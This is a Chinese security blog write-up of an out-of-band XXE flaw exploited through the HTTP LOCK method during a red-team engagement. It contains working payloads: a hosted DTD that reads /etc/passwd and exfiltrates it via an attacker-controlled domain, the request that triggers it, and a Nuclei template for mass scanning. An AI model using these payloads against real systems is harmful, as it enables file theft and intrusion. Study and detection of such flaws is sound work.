在Wildfire上利用XXE

admin 2022年3月28日09:27:18评论42 views字数 2118阅读7分3秒阅读模式


        本文将通过HTTP锁定方法介绍我在Red Teaming Engagement期间在中发现的一个有趣的带外XXEProduct Based Company漏洞之一,并大规模利用了该漏洞。


在Wildfire上利用XXE


        如今手法许多类别、例如网络威胁情报,内部对手模拟,外部对手模拟,社会工程学,深层Web /暗网暴露,OSINT,网络钓鱼等。


在Wildfire上利用XXE


        此漏洞是在“外部攻击者模拟”类别中发现的,该 类别用来测试Web应用程序和网络资产,以查找关键的服务器端错误,以便我们可以窃取数据以取得初步立足点。


  • Web应用程序渗透部分下有数百个登录页面,并且从Deep / Dark Web Exposure获得的凭据不起作用:(

  • 找到了许多由公司开发给他们的客户的登录页面,以处理双方之间的数据。


步骤1:使用客户端代理(例如Burp Suite)拦截登录请求,如下所示


在Wildfire上利用XXE


步骤2:开始检查使用OPTIONS在应用程序中启用的不同HTTP方法


在Wildfire上利用XXE

从上图可以看出,应用程序没有任何反应,得到了与GET方法相同的响应。


步骤3:删除login.jsp并提供一个不存在的值(测试)后,它显示了应用程序允许的不同HTTP方法



在Wildfire上利用XXE

在Wildfire上利用XXE

  • 如果应用程序PROPPATCH,PROPFIND,LOCK启用了HTTP方法,它将接受XML作为输入。


步骤4:尝试了PUT方法并返回了403 forbidden error,但是当我尝试LOCK方法时,它显示了一些XML数据作为输出,如下所示


在Wildfire上利用XXE

  • 还提到了OOB-XXE它将与支持XML输入的任何方法一起使用。


在Wildfire上利用XXE


步骤5:因此,我开始使用基本有效负载测试OOB-XXE,如下所示


<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://youripaddress.com"> %xxe; ]>



在Wildfire上利用XXE


注意:我们从服务器获得了HTTP和DNS命中。


步骤6:由于是Out-Of-Band XXE,请按照以下步骤设置环境


        注意:我们需要将DTD文件托管在Web服务器上。在这里,我们在云上使用了一个简单的Web服务器,将域yourdomainname.com指向服务器的公共IP地址,并将文件托管exploited.dtd在服务器上。


内容exploited.dtd:


<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ext "<!ENTITY exfil SYSTEM 'file:///%file;'>">


请求正文发送到易受攻击的URL:


<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">%xxe;%ext;]><foo><u>&exfil;</u></foo>


在Wildfire上利用XXE


步骤7:现在有趣的事情开始了,我们能够提取并读取不同的目录文件和敏感信息,例如备份文件,配置文件,ssh密钥和访问日志等


在Wildfire上利用XXE


在Wildfire上利用XXE

  • 由于存在大量子域,因此我们编写了一个核模板来检测此OOB-XXE,如下所示。


id: XXE on XXXX Login
info: name: XML External Entity-XXXX author: dhiyaneshDk severity: high
requests: - raw: - | LOCK /xxxx/test HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 178
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd"> %xxe; %ext; ]> <foo><u> &exfil </u></foo>
matchers-condition: and matchers: - type: status status: - 500 - type: word words: - '/root:x:0:0:root:/root:/bin/bash' part: body



在Wildfire上利用XXE


  • 有大约36+实例这是脆弱到XXE和交叉手工检查所有实例。

在Wildfire上利用XXE


影响 :


XXE漏洞可能使攻击者将XML解析器转换为代理,该代理允许根据请求提供本地和远程内容。它允许攻击者执行以下操作:

  • 在应用程序服务器上读取文件

  • 与应用程序本身可以访问的任何后端或外部系统进行交互

  • 查看系统中存在的配置文件。


本文始发于微信公众号(Khan安全攻防实验室):在Wildfire上利用XXE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月28日09:27:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在Wildfire上利用XXEhttps://cn-sec.com/archives/534930.html

发表评论

匿名网友 填写信息